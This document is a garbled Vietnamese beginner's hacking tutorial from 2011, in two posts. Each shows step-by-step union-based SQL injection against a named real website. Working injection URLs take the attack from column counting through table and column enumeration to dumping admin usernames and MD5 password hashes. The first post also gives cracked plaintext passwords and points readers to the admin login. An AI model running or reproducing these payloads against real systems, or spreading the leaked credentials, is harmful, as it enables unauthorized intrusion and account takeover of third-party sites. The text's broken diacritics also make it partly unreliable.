I. H ng D n Hack Website L i SQL C B nướ ơ
Tuesday, August 2, 2011 6:31:59 PM
Hacking Website - SQL injection
H ng D n Hack website l i MYSQL cho newbie:ướ
B c 1ướ : Tìm Đ ng link b l iườ
+) Search đ ng link bi l i, ví d : ườ http://www.konka.co.nz/productdetail.php?id=34
+) Ki m tra đ ng link có b l i hay ko b ng cách thêm d u " ' ": ườ
http://www.konka.co.nz/productdetail.php?id=34
+) Nó hi n ra l i nè: You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near '\'' at line 1
B c 2ướ : Xác Đ nh S C t Có Trong Database
+) Chèn sau url đo n mã : order by ….-- (… là giá tr s , th cho đ n khi nào link b l i thì ế
d ng l i )
Ví d : http://www.konka.co.nz/productdetail.php?id=34 order by 4--
+) Site v n không hi n ra l i, ti p t c th : ế
http://www.konka.co.nz/productdetail.php?id=34 order by 20--
Nó hi n ra l i r i kìa: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL
result resource in /usr/local/www/vhosts/konka.co.nz/httpdocs/productdetail.php on line 26
+) Ch ng t s c t c n tìm n m gi a 4 và 20, ti p t c th : ế
http://www.konka.co.nz/productdetail.php?id=34 order by 10--
+) Nó ko hi n ra l i, ch ng t s c t c n tìm n m gi a 10 và 20, ti p t c th ế
http://www.konka.co.nz/productdetail.php?id=34 order by 15--
+) V n không hi n ra l i, ti p t c: ế
http://www.konka.co.nz/productdetail.php?id=34 order by 16—
Ah` ha, nó ra l i r i: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL
result resource in /usr/local/www/vhosts/konka.co.nz/httpdocs/productdetail.php on line 26
Suy ra s c t có trong database là 16 -1 =15
Ok. B t đ u khai thác ti p. ế
B c 3:ướ Exploit Tên Các Tables TRong Database:
+) Đánh sau link l i đo n mã: and 1=0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
M c đích: Tìm c t b l i đ khai thác t c t đó khai thác ra toàn b database.
Ví d : http://www.konka.co.nz/productdetail.php?id=34 and 1=0 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
+) Ok! Đã tìm ra c t b l i: đó là s “ 3 ”, ti p t c khai thác, chèn đo n mã này vào s 3: ế
unhex(hex(group_concat(table_name))) và câu l nh sau s 15: from information_schema.tables
Ví du: http://www.konka.co.nz/productdetail.php?id=34 and 1=0 union select
1,2,unhex(hex(group_concat(table_name))),4,5,6,7,8 ,9,10,11,12,13,14,15 from
information_schema.tables--
+) Nó đa hi n ra toàn b tên b ng có trong database:
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,C
OLUMNS,COLUMN_PRIVILEGES,KEY_COLUMN
_USAGE,PROFILING,ROUTINES,SCHEMATA,SCHEMA_PRIVILEG
ES,STATISTICS,TABLES, TABLE_CONSTRAINTS, TABLE_PRIVI LEGES,
TRIGGERS,USER_PRIVILEGES,VIEWS,active_guests
,active_users,banned_users,tb_cat,tb_news,tb_news_
category,tb_page,tb_page_category,tb_product,tb_pr
oduct_category,tb_product_model,tb_product_pixel,t b_product_price,
tb_product_selection,tb_product_su b_category,tb_return,tb_return_comments,tb_return_
status,users
+) Ta chú ý th y table có tên users s ch a thông tin v tài kho n admin. Ok, ta s khai thác
table này:
Chèn đo n mã này vào s 3: unhex(hex(group_concat(column_name))) và câu l nh sau s 15:
from information_schema.columns where table_name=0x7573657273--
l u ý: 7573657273 chính là users d ng hex, ta có th chuy n đ i t d ng chu i sang d ngư
hex, b ng cách: vao google đánh:” convert string to hex” s có link chuy n đ i đâu tiên:
http://www.string-functions.com/string-hex.aspx
Ví d : http://www.konka.co.nz/productdetail.php?id=34 and 1=0 union select 1,2,
unhex(hex(group_concat(column_name))),4,5,6,7,8,9, 10,11,12,13,14,15 from
information_schema.columns where table_name=0x7573657273--
Ok, ta đã có thông tin v tên các c t trong table “users”:
username,password,userid,userlevel,email,timestamp
Chúng ta đã th y c t username và password, ti p t c khai thác đ l y thông tin ế
B c 4:ướ
+) Chèn đo n mã sau vào s 3: group_concat(username,0x3a,password) và sau s 15 s là:
from users-- (đây chính là table ch a username và password mà ta đang khai thác).
L u ý: 0x3a chính là ký t “:” ngăn cách username và password, ho c 0x2f hay 0x7c là “/”ư
Ví d : : http://www.konka.co.nz/productdetail.php?id=34 and 1=0 union select
1,2,group_concat(username,0x3a,password),4,5,6,7,8 ,9,10,11,12,13,14,15 from users--
+) Ok, ta đã th y username và password d i d ng mã hóa md5: ướ
admin:e10953e3b5537c441aa16defc89359b9,
admin1:e00c f25ad42683b3df678c61f42c6bda,
test1:147538da338b770 b61e592afc92b1ee6
+) Bây gi ta gi i mã password:
Vào link: http://www.md5cracker.org
Ta gi i mã đ c password c a username: admin là : linwood36 ượ
Username: admin1 là: admin1
Username: test1 là : testt
B c 5:ướ
+) Tìm link admin và đăng nh p vào ( đây là nhi m v c a b n nhé!).( B n có th s d ng
tool havij ho c find admin)
K t lu n: +) Đây là d ng hack website l i SQL r t c b n, Mình mu n gi i thi u cho cácế ơ
newbie băt đ u làm quen v i hack web, các pro trình đ cao r i đ ng có chém nhá
+)Còn các trang web l i SQl thì nhiêu vô k , các b n có th t tìm l y, t t nhiên m i l i có
nh ng cách khai thác khác nhau.
II. Hack Site L i SQL C B n! ơ
Friday, August 5, 2011 1:28:59 PM
Hacking Website - SQL injection
H ng d n hack site: ướ http://thegoidimy.com
Link l i: http://thegoidimy.com/news.php?nt=28&nid=133
Ki m tra link l i: http://thegoidimy.com/news.php?nt=28&nid=133'
Xu t hi n l i: Trang b thi u đi m t s thông tin ế
B c 1ướ : Xác đ nh sô tr ng c t ườ
+) http://thegoidimy.com/news.php?nt=28&nid=133 order by 15--
Xu t hi n l i: Trang b thi u thông tin, ti p t c th nhé: ế ế
+) http://thegoidimy.com/news.php?nt=28&nid=133 order by 9--
Trang ho t đ ng bình th ng, ti p t c ườ ế
+)http://thegoidimy.com/news.php?nt=28&nid=133 order by 10--
Trang b l i nh cũ, ch ng t s tr ng c t b l i là: 10 – 1= 9 ư ườ
B c 2ướ : Xác Đ nh c t b l i:
+) http://thegoidimy.com/news.php?nt=28&nid=133 union select 1,2,3,4,5,6,7,8,9—
Câu l nh đúng c r i, sao không th y s mã gì c , kh c ph c: thay: 133 = null
+) http://thegoidimy.com/news.php?nt=28&nid=null union select 1,2,3,4,5,6,7,8,9—
Ah`, đã ra s r i nhé, s 2 và s 4. Th xem version nó xem sao:
+ http://thegoidimy.com/news.php?nt=28&nid=null union select 1,version(),3,4,5,6,7,8,9—
Ok, đã xuât hiên version 5. , th không c n ph i đoán tables và columns r i. Có th s d ngế
unhex(hex(………
B c 3ướ : Exploit tên tables
+)http://thegoidimy.com/news.php?nt=28&nid=null union select
1,unhex(hex(group_concat(table_name))),3,4,5,6,7,8,9 from information_schema.tables-- -
Đã xuât hi n danh sách các tables:
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLU
MNS,COLUMN_PRIVILEGES,KEY_COLUMN_USAGE,PROFILING,ROUTINES,SCHEMATA,
SCHEMA_PRIVILEGES,STATISTICS,TABLES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,T
RIGGERS,USER_PRIVILEGES,VIEWS,itkg_accessnumber,itkg_advertising,itkg_chat_lines,itkg
_chat_online,itkg_chat_settings,itkg_chat_users,itkg_comments,itkg_config_site,itkg_contact,itk
g_contact_purpose,itkg_country,itkg_customer,itkg_customer_support,itkg_documents,itkg_favo
rite_list,itkg_flash,itkg_func,itkg_hotel_booking,itkg_hotel_roomtype,itkg_intro,itkg_map_distri
ct,itkg_music,itkg_musicalbum,itkg_news,itkg_news_category,itkg_news_feedback,itkg_news_ty
pe,itkg_orders,itkg_orders_details,itkg_payment,itkg_picturealbum,itkg_picturelib,itkg_postion,i
tkg_postion_service,itkg_process,itkg_products,itkg_products_category,itkg_products_type,itkg_
reports,itkg_role,itkg_role_func,itkg_rss,itkg_service,itkg_service_category,itkg_users,itkg_vide
o,itkg_videoalbum,news_address,news_category,news_category_description,
Chúng ta chú y đ n table có tên là: ếitkg_users , ta s khai thác column trong table này
B c 4ướ : Exploit tên Columns
L u ý: +) itkg_users có mã hex là: 69746b675f7573657273 ư
+) link đ i d ng chu i sang hex: http://www.string-functions.com/string-hex.aspx
+) “/” có mã hex là : 0x7c
Ok! Chúng ta ti p t c:ế
+) http://thegoidimy.com/news.php?nt=28&nid=null union select
1,unhex(hex(group_concat(column_name))),3,4,5,6,7,8,9 from information_schema.columns
where table_name=0x69746b675f7573657273—
Các column đã b lòi ra r i nhé:
username,password,fullname,address,phone,email,promotion_info,active,active_code,status,last
est_login,
Ta ch quan tâm đ n 2 columns: ế username,password đ
B c 5ướ : Get thông tin
+) http://thegoidimy.com/news.php?nt=28&nid=null union select
1,group_concat(username,0x7c,password),3,4,5,6,7,8,9 from itkg_users –
Ok! Đã có thông tin c a username và password r i nhé:
admin|c4ca4238a0b923820dcc509a6f75849b,
manager|1d0258c2440a8d19e716292b231e3190,
user|ee11cbb19052e40b07aac0ca060c23ee
B c 6:ướ Tìm link admin và gi i mã